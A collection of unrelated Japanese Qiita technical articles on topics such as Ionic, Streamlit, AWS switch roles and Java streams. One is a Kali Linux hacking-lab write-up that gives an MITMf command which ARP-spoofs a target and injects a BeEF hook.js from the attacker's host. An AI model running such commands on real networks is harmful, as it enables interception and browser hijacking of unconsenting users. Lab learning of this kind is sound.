OmniAICreator/Qiita-1.07M huggingface dataset:
Ionic紹介

# Ionic 
- マルチプラットフォーム対応
    - Ios
    - Android
    - Web PWA
- Web開発バースで作成するフレームワーク
    - Webフロントエンド開発する経験もっていたら、Ionicは簡単に慣れます
- 対応するフロントエンドのフレームワークは多い
    - VueJs
    - React
    - Angurla
- https://ionicframework.com/
- https://github.com/ionic-team/ionic-framework

---
# 似てるフレームワーク
- Flutter (Google) : Android/Ios/Web
- React native (Facebook): Androd/Ios
- NativeScript: Android/Ios

---

# どうして、Ionicを紹介する？
- UVではWeb開発持っている方が多いので、勉強する時間が短い
- Vuejs3を対応していますので、勉強する時間は多いです
- 一回開発するとWeb, Android, Ios では動きます

- →　Webエンジニアなら、Ionicを早く使えます。


--- 

# 必要経験
- Web開発経験
- Css html開発経験
- アプリの開発経験（少し）


---

# 具体的なインストール流れ
- Ionic Cli インストール: `npm install -g @ionic/cli`
- Ionic 作成: `ionic start`
- Coding
- ビルド: `ionic build`
- Android 作成: `ionic cap add ios`
- Ios 作成: `ionic cap add android`
- Coding
- Sync: `ionic cap sync`

---

# Web開発で有名ライブラリーのインストール

---
# Vue3 サポート
- サポートしています

--- 

# Storybook
- できます

---
# Tailwind
- できます

---

# APIライブラリー: Axios 
- できます

---

# ライブラリーのまとめ
- https://github.com/phamthanhthuongbk/ionic-vue3-storybook-tailwind

---

# Ionicデメリット
- Web経験がないと、難しい（その時に、Flutterをおすすめです）
- パフォーマンスは分かりません（小さなプロジェクトなどはできますが、大きなプロジェクトならどうでもNativeを使った方がいいです）
- OSの深い機能有無は分かりません（簡単なプロジェクトなどはできますが、複雑なプロジェクトはどうでもNativeを使った方がいいです）

---

# 以上です

ありがとうございました。
【備忘録】MAVProxy経由で複数の端末に情報を転送する

MAVProxy経由で複数の端末に情報を転送する方法について記載します。
## イメージ
車体に搭載されたコンパニオンコンピュータ（RPi）にインストールされたMAVProxyよりUDPを介してPCとスマートフォンにデータを転送します。
![スクリーンショット 2022-06-03 161449.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1064722/12762f8d-a973-b02f-1e5e-5db2bbe11c9c.png)

## 手順
1.MAVProxyを起動
2.GCSを起動する

## 1.MAVProxyを起動
SSHでラズパイにアクセスし以下のコマンドを入力してMAVProxyを起動します。

#### ①．シリアルポートを指定して起動する場合
```
mavproxy.py --master=/dev/ttyACM* --out 192.168.AA.A:14550 --out 192.168.BB.B:14550
```
:::note info
※ AA.AはPCのIPを記載します
※ BB.BはスマートフォンのIPを記載します
※ ttyACM*はautopilotと接続しているシリアルポートを記載します[（確認方法）](https://qiita.com/m2_labo/items/7823fb26197fa5f5ff23)
:::

#### ②．オートパイロットに割当てられたIDを指定する場合
```
mavproxy.py --master=/dev/serial/by-id/*** --out 192.168.AA.A:14550 --out 192.168.BB.B:14550
```
:::note info
※ AA.AはPCのIPを記載します
※ BB.BはスマートフォンのIPを記載します
※ serial/by-id/***はautopilotのIDを記載します[（確認方法）](https://qiita.com/Fumi_Saito/items/82fa130726e879cf11c7)
:::

## 2.GCSを起動する
PC, スマートフォン双方の地上局が通信状態で起動すれば成功です。
今回は以下の組み合わせで確認を行いました。
|端末|地上局ソフトウェア|
|-|-|
|PC|Misson Planner|
|スマートフォン|QGC|

## 参考
Ardupilotのドキュメントでは地上局から複数の端末にデータを転送する方法が記載されています。
https://ardupilot.org/mavproxy/docs/getting_started/forwarding.html
Streamlitで"""ブロックコメント"""を表示させない方法

# TL;DR;

```
_ = """
変数化すれば？
"""
```

# 困っていること

[Streamlit](https://streamlit.io/)でテストコードとかをブロックコメント化すると、実行時にブラウザへコメント部分が表示されてしまう問題がある。

この原因は、Streamlitの標準機能として備わっている[Magic](https://docs.streamlit.io/library/api-reference/write-magic/magic)というスマートで強力な特徴である。
いちいち行ごとに`st.write(...)`みたいな呪文をコピペする必要がなくなるので、ちゃんと使えば有用だが、ズボラな個人開発者はたまに困ることがよくあるのだ。

下記コード例のようにコメントアウトすると、実行結果のようにMarkdown化して表示される。


**コード例**

```
import streamlit as st

# 行コメントは表示されない
st.write("hoge")

"""
ToDo 下記の計算は間違いなので直す  
※とりあえずコメントアウトしとく

# 計算処理
fuga = '1 + 2 = 4'
st.write(fuga)
"""
```

**実行結果**

![タイトルなし.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/81851/a0f24705-cd45-33e2-5f0a-22859055b588.png)

# 解決方法

[Streamlit公式フォーラム](https://discuss.streamlit.io/t/any-way-to-prevent-commented-out-code-via-triple-quotes-to-be-displayed-in-streamlit/8821/3)に解決方法がいくつか書いてある。
本稿はそれらを日本語の箇条書きにまとめた備忘録である。

## 変数化

本稿の要約に書いた方法がスマートだと思う。
下記の例は `"""` の前に `_ = ` を付けて無名変数っぽくするだけで目的を達成している。
もちろん同様のコメントアウトが複数ある場合はその数だけ対応が必要だが、ブロックコメントのMarkdown表示機能を失わずに併用することができる。

**コード例**

```
import streamlit as st

# 行コメントは表示されない
st.write("hoge")

# 変数化すれば表示されない
_ = """
ToDo 下記の計算は間違いなので直す  
(以下略)
"""
```

## magicEnabled

ブロックコメントは一律でブラウザ上に表示したくないなら、設定ファイルで機能を無効化することができる。

実行時のカレントディレクトリに `.streamlit` フォルダを作成し、その中に `config.toml` を作れば設定ファイルとして実行前に読み取ってくれる。
本家の[How Magic works](https://docs.streamlit.io/library/api-reference/write-magic/magic#how-magic-works)のとおり、 `config.toml` を作ってその中に下記を記述すれば機能を無効化できる。

```
[runner]
magicEnabled = false
```

この方法だと部分的にMagicを有効化できないので注意すること。

## IDE機能

最近のイケてる(死語)IDEやテキストエディタはショートカットキーで複数行を行コメント化できる。
[リンク先のフォーラム](https://discuss.streamlit.io/t/any-way-to-prevent-commented-out-code-via-triple-quotes-to-be-displayed-in-streamlit/8821/2)では、「VS Codeなら `CTRL + /`が使える」とアドバイスしてくれてる。

そんな機能がないテキストエディタなら、正規表現置換、マクロ機能、矩形選択でご自由にどうぞ。
え？メモ帳にそんな機能ないって？
今すぐPython IDLEを立ち上げて`Alt+3`を押すんだ！(ちなみに`Alt+4`でコメント解除)

# 参考資料(再掲)

+ [Streamlit公式フォーラム](https://discuss.streamlit.io/t/any-way-to-prevent-commented-out-code-via-triple-quotes-to-be-displayed-in-streamlit/8821/3)
+ [How Magic works](https://docs.streamlit.io/library/api-reference/write-magic/magic#how-magic-works)
linkタグメディア属性min-widthの挙動を調べてみた

linkタグメディア属性でウィンドウサイズによってCSSを切り替えることができますが疑問が出てきたのでテストしてみました。
ソースは以下になります。

```html
<head>
    <link rel="stylesheet" href="/wp-content/themes/mytest/lessthan767.css" type="text/css" media="(max-width:767px)" />
    <link rel="stylesheet" href="/wp-content/themes/mytest/morethan768.css" type="text/css" media="(min-width:768px)" />
</head>
```

それぞれのcssでは背景色を指定してるのみのシンプルなスタイル指定です。
media属性でウィンドウの横幅を指定してスタイルを分けているという形になります。

# 疑問１｜ファイルは必ず読み込まれるのか？
仮にウィンドウの横幅が500pxだったとしてmorethan768.cssは読み込まれるのか？
もし読み込まれないのであればhttp接続の削減ができる可能性があるのでは？
そんな疑問を検証してみました。

### 500pxで読み込むと以下のように読み込まれます。
![500pxtest.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/169482/5e9d0936-df16-2ab7-9ce0-a6f7dbaeb2d4.png)

### 1000pxで読み込むと以下のように読み込まれます。
![1000px.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/169482/887e9984-f1a8-74af-131e-3203b4589626.png)



# 結論１｜ウィンドウサイズによってhttp接続は節約されない
自分の予想としてもしかするとウィンドウサイズが500pxから1000pxになった瞬間にmorethan768.cssが読み込まれる、つまり、ファーストビューでは読み込まれないのか？という疑問を持ったのですが、これは画面サイズの条件に関わらずとりあえず両方のCSSファイルが読み込まれるということがわかりました。

# 結論２｜読み込まれる順番、場所は調整してくれる
この検証を行なっていて気がついた点があります。
それは読み込まれる順番と場所が変わるということです。
もう一度前述の写真を確認してみてください。
500の時は画像の前にlessthan767.cssが、画像の後ろでmorethan768.cssが読み込まれていて
1000の時は逆になっています。
これはおそらくファーストビューに最適化してくれているのだと思いますが
前述の通りlinkタグは両方ともheadタグ内に書かれており自動的に調整してくれています。

# 検証環境
MacOS 12.3.1
Chrome　102.0.5005.61
FireFox 100.0.2

# 所感
mediaの横幅などで切り替える方法はCSSファイル内でもありますが今回の結論２のように自動的に調整する機能は場合によっては便利かもしれません。http通信に関しては順番は遅らしてくれるもののしっかりと読み込まれていたのでここの削減はできそうにないですね。

また検証中気がついたのですがデベロッパーツールでスマートフォンなどのエミュレータで検証するとmin-widthなどの判定が効いてくれないですね。あくまでもブラウザのウィンドウの横幅をみて判定しているようですね。

自分のユースケースではこのlinkタグのmedia属性で切り替えるという手法は使っておらずcssファイル内でクラス毎に切り替えて設定していますが少し理解が深まりました。HTTP通信が節約できない以上、結論２にメリットを感じる場面で使うかもしれません。
【備忘録】個人的によく使う「ファイル名を指定して実行」+スクリーンショット

## はじめに

「ファイル名を指定して実行」で自分が使っているコマンドを備忘として残します。
※必要に応じて随時追記していきます！
※新たにスクリーンショットのショートカット追加しました！(9/22)

---

## 「ファイル名を指定して実行」って？

「ファイル名を指定して実行」を起動し、入力欄に特定のコマンドを打ち込むことで入力した項目を呼び出すことが出来ます。
覚えておくことで作業時間短縮に繋がるので、知っておきたい機能の一つです。

---

# 「ファイル名を指定して実行」の実行方法

①［Windows］キーと［R］キー ※推奨
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2411418/52a74ff0-644b-dd31-2c2e-74ce7e19f2ee.png)


② スタートボタン→右クリック→「ファイル名を指定して実行」
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2411418/77420c1a-c549-19e7-17ce-f1a9a8075bd9.png)!

③ 左下の検索窓より検索　※時間がかかるので非推奨
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2411418/8f6fe818-7081-54a6-ba2b-bdae0f53b777.png)

---

## 知っておくと便利コマンド

| コマンド   |実行プログラム| 備考 |
|:-----------|------------:|:------------:|
| cmd        | コマンドプロンプト|          |
| powershell | powershell    |       |
| control    | コントロールパネル|          |
| mstsc      |リモートデスクトップ  |            |
| firewall.cpl   | ファイアウォール  | 
| shrpubw    | 共有フォルダ作成   |        |
| fsmgmt.msc | 共有フォルダ    |       |
| taskmgr   | タスク マネージャー | ctrl+shift+escも可 | 
| ncpa.cpl   | ネットワーク接続 | 
| regedit |レジストリエディタ   |
| devmgmt.msc|デバイスマネージャ |　　　|
|gpedit.msc|　ローカルグループポリシーエディター|
| chrome|Google Chrome |　|
|certmgr.msc|証明書 |

## スクリーンショット
| コマンド   |範囲　| 備考 |
|:-----------|------------:|:------------:|
|PrintScreen(prt scr)    | 画面全体|          |
|Alt + PrintScreen(prt scr)|アクティブなウィンドウのみ|
|Windows + PrintScreen(prt scr)|画面全体をピクチャフォルダに画像として保存|
|Windows +Alt + PrintScreen(prt scr)|アクティブなウィンドウをビデオャフォルダに画像保存|
|Shift + Windows + S|画面上の指定した範囲|
Kali Linux2022.1 でハッキングラボをつくってみる8 Wiresharkでパケットキャプチャ７ Beefによる攻撃の多様化暫定版

# はじめに
「ハッキング・ラボのつくりかた」p.498-507を参考にして、KaliLinux2022.1で検証した記事となります。始めに行っておきますが、MITMfの不具合の影響で、ほぼ何も出来ていません。
beefは、ブラウザに焦点を当てたペネトレーションツール。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# beefのインストールと起動
KaliLinux2022.1には、デフォルトでインストールされていないので、インストール。
インストール
```
sudo apt install beef-xss
```
初回設定（パスワードの変更）
```
sudo beef-xss
```
>[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user: 

このような出力があったら、新規のパスワードを設定する。ここでは、aaa111とした。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_03_06_2022_15_27_28_beef_op.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/137cd7c7-cd16-268d-097a-c098c9b131fd.png)
Firefoxを起動して、"http:/\/127.0.0.1:3000/ui/panel"
にアクセスする。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64 のリンククローン_03_06_2022_15_30_07_beef_start.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/1c8c871b-a68f-c74d-2323-a02480947821.png)

# beefのjavascriptを実行させる
```:shell:(MITMf) /root/MITMf
python mitmf.py -i eth2 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.17 --inject --js-url http://192.168.1.100:3000/hook.js
```
実行させてみたが、ターゲットのブラウザがインターネットに繋がらなくなっているので、失敗した。

# 攻撃（音を鳴らす）
前項のjavascriptの実行が失敗しているので、これは出来なかった。

# 偽のAdobe Flashのアップデートによりペイロードをダウンロードさせる

# 偽ページの設置

# おわりに
結局、MITMfがうまく動作できていないので、BeEFの動作もうまく行かない。
MITMfの代わりとなるものがあればよいのだが・・・。

参考にしたもの
「ハッキング・ラボのつくりかた」

https://github.com/beefproject/beef/wiki

https://beefproject.com
【ServiceNow】San Diegoリリース　Digital Portfolio Management

ServiceNowのSan DiegoバージョンでリリースされたDigital Portfolio Managementについて調べました。

# Digital Portfolio Managementとは
Digital Portfolio Management（以下DPM）はServiceNowの中で管理されているサービスやアプリケーションのライフサイクル全体を1つのビューで確認するためのWorkspaceを提供します。

例えば、ある会社が新たなシステムを自社に導入したと仮定します。
そのシステムに対する問合せの管理や、発生したバグの問題管理、プログラム修正の変更管理はServiceNowのITSMの機能を利用して管理することができます。
また、そのシステムに対する追加開発の要望や、追加開発のプロジェクト管理はServiceNowのSPM（旧ITBM）のProject Portfolio Management（PPM）の機能を利用して管理することができます。
さらに、システムで提供する機能や価値、コスト、テクノロジーなどはSPMのApplication Portfolio Management（APM）で管理できますし、リスクについてはGRCの機能で管理することができます。

ServiceNowの各種製品でシステムのライフサイクルの一部を管理することができますが、これまでライフサイクル全体を一つの画面で管理することはできませんでした。
DPM Workspaceはこれを可能にするために開発された機能のようです。

以下のURLは公式ドキュメントに記載されている概念図です。

https://servicenow-be-prod.servicenow.com/bundle/rome-it-service-management/page/product/digital-portfolio-management/image/bridge-app-info.png?_LANG=enus

上記で紹介したのはアプリケーションのライフサイクル管理の例ですが、DPMではサービスのライフサイクルも管理することができきます。
ServiceNowのカタログアイテムで提供しているサービスの稼働状況や、そのサービスの改善計画の管理、改善計画の実施状況なども管理することが可能です。

# 実際の画面
では、実際にどのような画面でライフサイクルを管理するのか見てみたいと思います。

**サービスのライフサイクル**
下図がDPMのWorkspaceの画面です。
これはDB migration Offeringというサービスの情報を表示しています。
画面内に「プラン」「ビルド」「実行」「情報」というタブがありますが、これがライフサイクルのステージを表しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2297934/5c93171a-e4b1-bec8-e17d-41a2fdd1726f.png)

プランタブには以下のような情報が表示されています。
- サービスのロードマップを表示するためのボタン（APMのAlignment Planner Workspace に遷移する）
- このサービスに関するアイデア数（PPMのアイデア）
- このサービスに関する承認済のデマンド（PPMのデマンド）
- 今後30日以内に開始するプロジェクト

*※これらの情報を表示するためにはITSM以外の適切なライセンスとプラグインが必要になります*

次にビルドタブのイメージです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2297934/a69a7bef-67e7-18f1-5174-0faade9b8723.png)
ここには現在実行中のプロジェクトの情報が表示されます。
また、ITSMの変更要求や改善イニシアチブ（継続的改善管理のデータ）も表示されるようになっています。
改善イニシアチブについてはプラグインのインストールが必要となります。

実行タブのイメージは以下のようになっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2297934/fc717c0c-9ff9-8646-6570-c172ed739d31.png)
提供しているサービスの稼働率等のKPIが表示されます。
KPIの表示にはPAのライセンスとプラグインのインストールが必要になります。
また、KPIはマスタによる構成が可能となっています。

ここまでで紹介してきたのはサービスに関するライフサイクルですが、アプリケーションの情報を表示した場合は、一部表示内容がことなります。
例えば、アプリケーションのビルドタブには、進行中のAgileプロジェクトのエピックやストーリの情報も表示されるようです（こちらもライセンスとプラグインが必要です）

以上のように、DPMではITSMやSPM、GRCなどの各種製品で管理している情報を一つのWorkspaceで見られるようになっています。

# ポートフォリオ
最後にDPMの「P」の部分の機能について紹介したいと思います。
DPMの「P」はポートフォリオを表しています。
このポートフォリオという概念は、SerivceNow内で管理しているサービスやアプリケーションを任意のグループにまとめるためのものです。
DPMでは、ユーザが共通して利用できるエンタープライズポートフォリオとユーザが個々に独自に作成できる個人ポートフォリオを作成できるようになっています。
例えば人事に関するサービスやアプリケーションを一つのエンタープライズポートフォリオにまとめ、稼働状況や進行中のプロジェクトの情報をKPIとして表示するようにしたりすることが可能です。
また、一人の担当者が自分が関与しているサービスやアプリケーションを個人ポートフォリオにまとめ、情報を1か所で管理、参照できるようにすることも可能になっています。


以上
プロジェクト・マネジメント

## プロジェクト
<b>特定の目標を達成するために、専門性の高い人材を集めて編成される組織。
プロジェクトの責任者である<font color = blue>プロジェクトマネージャ</font>、構成員である<font color = blue>プロジェクトメンバ</font>、利害関係者である<font color = blue>ステークホルダ</font>で構成される。
## PMBOK
<b>プロジェクト管理に必要な知識を体系化したもの。
![pmbok-1.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/c440891e-b255-5e1d-ba3f-e3906e166419.gif)
### PDCAサイクル
<b>プロジェクトは、「立ち上げ」から「終結」までの間、<font color = blue>PCDAサイクル</font>で継続的に改善する活動。
## プロジェクト総合マネジメント
<b>他の9つの知識エリアを統合的に管理し、調整を行う。また、活動の一つに<font color = blue>構成管理</font>がある。プロジェクトにおけるドキュメントやソースプログラムなどの成果物が最新の状態を保つように維持する活動。
### プロジェクト憲章
<b>プロジェクトを正式に認可するために必要な文書
## プロジェクトスコープマネジメント
<b>プロジェクトの作業範囲(<font color = blue>スコープ</font>)を明確にし、プロジェクトが生み出す製品やサービスなどの成果物と、それらを完成するために必要な作業を定義する。WBSが用いられる。
### WBS
<b>プロジェクトで行う作業を階層的に分解した図。作業をトップダウンに細かく分割することで、作業管理をしやすくする。

![task-breakdown.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/57755121-01ee-d07f-abc0-a849ca9c71cf.png)
## プロジェクトスケジュールマネジメント
<b>プロジェクトを決められた期間内に完了させるために、スケジュール管理や日程管理を行う。
ガントチャートやアローダイアグラムが用いられる。
### ガントチャート
<b>作業開始・作業終了の予定と実績や、作業中の項目を棒状に表した図
![gantt01_a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/db78c364-fab9-f581-78cc-99c7ae710cbb.png)

### マイルストーン
<b>プロジェクトの「開始」と「終了」を明確にする。そのうち、ある意思決定をする時点のこと
### トレンドチャート
<b>プロジェクトのコストを意識しながら進捗管理を行うためのツール

![06.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/d686c95a-8ead-96b4-c8f3-1b83102796c4.gif)
## プロジェクトコストマネジメント
<b>プロジェクトを決められた予算内で完了させるために、開発コストを積算して管理する
### ファンクションポイント法
<b>帳票数・画面数・ファイル数などからソフトウェアの機能を定量的に把握し、その機能の難易度を数値化して見積もる方法。利用者から理解しやすい特徴がある
### 他の方法
<b><font color = blue>類推見積法</font>
<font color = blue>プログラムステップ法</font>
<font color = blue>COCOMO法</font>
<font color = blue>標準タスク法</font>
### 開発工数
<b>開発コストを見積もる時に用いれる。単位には<font color = blue>人月</font>などがある。
「人月 = 人数 × 月数」
### TCO
<b>システム導入から運用・維持・管理までを含めた総コストのこと。
この内、システム導入時に発生する費用を初期コスト(<font color = blue>イニシャルコスト</font>)。
システム導入後に発生する運用・保守・維持管理のコストを運用コスト(<font color = blue>ランニングコスト</font>)という。

## その他の知識エリア
<b><font color = blue>プロジェクト品質マネジメント</font>
<font color = blue>プロジェクト資源マネジメント</font>
<font color = blue>プロジェクトコミュニケーションマネジメント</font>
<font color = blue>プロジェクトリスクマネジメント</font>
<font color = blue>プロジェクト調達マネジメント</font>
<font color = blue>プロジェクトステークホルダマネジメント</font>
### フィージリティスタディ
<b>新しい事業やプロジェクトなどの計画に対して、その実行可能性を評価するために調査・検査すること。
AWSマルチアカウント管理：スイッチロール

## 課題
日常の仕事でこのようなシーンがございますでしょうか。
Aさんはプロジェクト開発者です。aws iamアカウントをお持ちしてます。
プロジェクトはテスト、ステージング,本番という三つ環境があります。
Aさんの役割により、本番環境に参照権限だけ付与します。
以下の方法でどっちが一番良い方法でしょうか。

1. Aさんに環境によ毎に三つアカウントを用意する
1. 環境により、三つロールを作成して、Aさんはこのロールをスイッチする


お勧めとしてはロールをスイッチすることです。２番目です。

## 概要

AWSのIAMのスイッチロールについて、手順をご説明させて戴きます。

## 手順

### 1. iamユーザーを新規作成
![截屏2022-06-03 15.17.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/7c19eacf-a10c-3e28-8b02-ecfb77d42e55.png)
作成

### 2. iamユーザーを登録して、S3コンソール画面に遷移してみる
新規ユーザに権限を付与してないので、S3をアクセスできないことを確認できました。

![截屏2022-06-03 15.26.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/00381832-ed47-d3c8-22c5-4840e691bacc.png)


### 3.スイッチロールを作成
![截屏2022-06-03 15.23.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/b07c1306-2d17-1e2c-8113-ef22b26b091c.png)
ポリシーを付与します。
![截屏2022-06-03 15.28.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/8ff4a029-aaff-9013-ea6a-b46095b95dea.png)
![截屏2022-06-03 15.36.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/a01eec1d-ba74-60bc-4e4a-e406f6b26bd4.png)


### 4.iam新規ユーザーに引き受けるポリシーを付与する
![截屏2022-06-03 15.37.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/484650e2-b080-9397-60d5-0a79c940bd43.png)

### 5.ロールの切り替え

![截屏2022-06-03 15.43.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/8c91b5e5-dbb1-d704-d3d6-f0b0c87a1069.png)

![截屏2022-06-03 15.45.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/4977f17b-0d78-509e-e45c-558cd8670fd7.png)

### 6.動作確認
　s3のパケット情報を見られるようになったことを確認しました。
![截屏2022-06-03 15.47.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2531066/38c70b12-1874-6a0a-44f2-9073bc461e6d.png)
HTMLのclassとidの使い方

# HTMLのclassとidの使い方

- **idは(親)タグにつける場所名**
- **classはデザインを管理するためのデザイン名**
### セレクタの詳細度 (優先順位)
|セレクタ|点数|内容|
|---|---|---|
|idセレクタ|1.0.0|#OO|
|クラスセレクタ<br>style属性<br>疑似要素|0.1.0|.OO<br>`<タグ style="OO:OO;">`<br>`:hover`, `:visited`など|
|タグセレクタ<br>疑似要素|0.0.1|`<p>`や`<a>`など<br>`::before`,`::after`など|

style属性が**1番優先度が高い。**
CSSのどこに書くかでタグの優先度が変わる

2番目がHTMLタグの中にあるタグ
3番目がCSSファイルの中にあるもの
<hr>

### CSSのセレクタの優先順位と点数
- `a:link{ color:blue; }` **タグセレクタ+疑似クラス +11**
- `nav_a{ color:green; }` **タグセレクタ+タグセレクタ +2**
- `a{ color:red; }` **タグセレクタ +1**

**疑似クラス**
`div > article:first-of-type`
- 基本的には `...of-type` を使用する。
- 子要素やリストには `:first-Child` を使用する。

タグ名`:first-of-type` 最初の子要素
(子要素) `:last-of-type` 最後の子要素
　　　　 `:nth-of-type(2)` 2番目の要素
さいしょにおぼえる Java の stream構文（勉強会資料）

## これはなんですか
streamを知らぬ幼きものたちへのアドバイス

これさえ覚えておけばテストで１００点・・はとれないけど、６０点くらいはなんとかなるかもしれない。

## そもそも
Javaでfor文を使うのは、主に配列として存在する変数を参照し、加工もしくは別な結果を生成するために用いるためです。

たとえばこんなかんじ。

###  １文字ずつ
```
String str = "ABCDE";

for (i=0; i<str.length; i++){}

for (byte b: str.getBytes()){}
```

### listとか

```
List<Character> list = List.of('A', 'B', 'C', 'D', 'E');

for (char c: list) {}
```

### map
```
Map map = new HashMap() {
  {
    put("key1", "A");
    put("key2", "B");
    put("key3", "C");
    put("key4", "D");
    put("key5", "E");
  }
};

// key, valueをセットで扱いたい
for (java.util.Map.Entry entry: map.entrySet()) {
  entｒｙ.getKey();
  entｒｙ.getValue();
}

// valueしかいらない
for (String value: map.getValues()) {
  ...
}

```

for は必ず主体となる変数があって、その中身を覗くループになる。配列駆動。
whileは主体となる変数は無く、存在するのは条件だけである。条件駆動。

## forで書けるものが、なぜstream構文になるのか
forの欠点。

1. forはforの外にある変数がインプットとなることが多く、そこへのアクセスを間違いやすいため、知らぬ間にバグが忍び寄る。
1. カウンタの使い方間違えたりとか、変なインスタンスを参照したりとかしてバグ。
1. 複雑なループになるとループの中で何をしているか知りたい、ループのすべてを俯瞰する必要があって、可読性が。

それらをそこそこ解決するのが stream 構文

## streamの歴史

そこそこ古くJava8から利用可能。が、使っている人はあまり居ない。ものによってはプロジェクトで使うことを禁止しているところもある。

後学のため理由を拝聴いたしますと。

「stream構文を読めない人がいるから！」

とのことでした。

yamamotodinはその言葉を発した人をまじまじと見つめ、こう思いました。

『ここでいう人とは2１世紀に生きるホモサピエンスだと思うが・・こわ、関わらんとこ』

## streamって何

私なりの解釈だと「for文をギュッとして上から下じゃなくて左から右に読んでくようにしたもの」です。

つまり、こういうこと。

`な`
`の`
`で`
`す`

これが

`なのです` こう。

場合によっては

`なの`
`です`


javaのCollectionあたりに原初から備わる `iterator` の発展型かな、と思っています。
流行り廃りがあるように、最近ではとんと見なくなったものです。

では具体的に何するものか、実際のコードと比較して見てみましょう。


## 全部回す
```java
List<String> list = Arrays.asList(45, 27, 11, 8, 1);

```

この配列を回すときはこう(forEach())。

```java
// for
for (int i: list) {}

// stream
list.forEach(i -> {});

```

forEachはループ全部回したいときに使います。

この場合はあまりfor文と差がありません。が、この中で偶数の数値だけ引っ張りたいとします。

その場合は filter()

```java
// for
for (int i: list) {
  if (i%2 == 0) {
  }
}

// stream
list.stream().filter(i -> i%2 == 0).map(i -> {});

```

また、配列から別な配列またはインスタンスへの変換もよく使います。

配列の中身を合計したい。

```java
List<String> intlist = Arrays.asList(45, 27, 11, 8, 1);

int sum = 0;
for (int i: intList) {
  sum += i;
}

sum = intList.stream().mapToInt(i -> i).sum();

```

さて、次が一番よく使うパターン。

配列から別な配列を生み出したい。

たとえば、```listから20以上の数字を引っ張り出して文字列にした上で別な配列として返す```

```java
List<String> list = List.of(45, 27, 11, 8, 1);

// for
List<String> result = new ArrayList<>();

for (int i: intList) {
  if (20 <= i) {
    result.add(String.valueOf(i));
  }
}

// stream
intList.stream().filter(i -> 20 <= i).map(i -> String.valueOf(i)).collect(Collectors.toList());
```

やってること。

* filter 20以上の数値群を右側のmapに渡す
* map intをStringに変換する
* collect 返す型を指定する　Mapとかにもできる。

とりあえず、このくらいを直感で処理できるようになったら、次のもうちょっと複雑なstreamに進みましょう。

この先はかすれていて読めない。
UE初心者がVRアプリを開発するまでの記録


UnityでのVR開発しか経験のない私がUE4でVRアプリを開発するまでの話（随時更新中）

## ~~まずは公式のラーニングで学ぼう~~
~~公式ラーニングが充実しているので活用する。~~
Git等VR開発以外の内容も多かった。

https://www.unrealengine.com/ja/onlinelearning-courses/getting-started-in-vr-with-unreal-engine


## 先行事例を参考にしよう

https://qiita.com/HnniTns/items/57e1c9ade062d85a8972

![VRPawn.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2702231/63e8d3f7-93a5-0717-8490-05c8239100f5.png)

参考記事のVRPawnはMotionControllerをCameraの子にしていたが、空オブジェクトを作成してカメラとコントローラーを子オブジェクトにした。
（参考記事通りにするとカメラの動きにあわせてコントローラーが勝手に動いたため）

ビルドがうまくできない問題が発生中（6/21）


## 課題
#### 6/3 パッケージ化を行う際に下記のエラーが発生（解決済）

    ERROR: Windows SDK must be installed in order to build this target.

https://urashita.com/archives/27301

上記記事にて対策を確認。
windowsSDK入れたら無事パッケージ化できました。

#### 6/21 ビルドした際にモーションコントローラーが表示されない
PCで動作確認した際には問題なくコントローラーが表示されるが、ビルドするとコントローラーが表示されない。
理由は不明。
ソースコードのコメントの役割、何を書くべきかについて考えてみた

## はじめに

最近、ソースコード中に書くコメントについて他のエンジニアと話すことがあって、僕がコメントを書くときに考えてること、その役割を考えてみました。
この記事は考えたことを書き起こしたものです。

## そもそもコメントは何のために書くのか

コメントについて僕が大学生のころに

- コメントはなるべく書いたほうが良い
- そもそもコメントがなくてもわかるコードにするべきだ

などを聞いたことがありました。（そんな気がする）

上記の例や他の意見などでも、結局何を目的としてコメントを書くのかを考えると、
**「次にそのソースコードを触るエンジニアに対して、伝えなければいけないことを伝えたい」**
がためにコメントを書きます。

言ってしまえば、伝言ゲームみたいな感じです。
自分が伝えたいことが次のエンジニアに伝わらないのであれば、そのコメントは意味をなしませんし、誤って伝わってしまうのであれば、そのコメントを改善する必要があります。

**自分の伝えたいことを次にそのソースコードを触るエンジニアへ正しく伝え、助ける**ことがコメントの役割です。

## どんなことを伝えると良いのか

では、どんなことを伝えると良いのでしょうか。

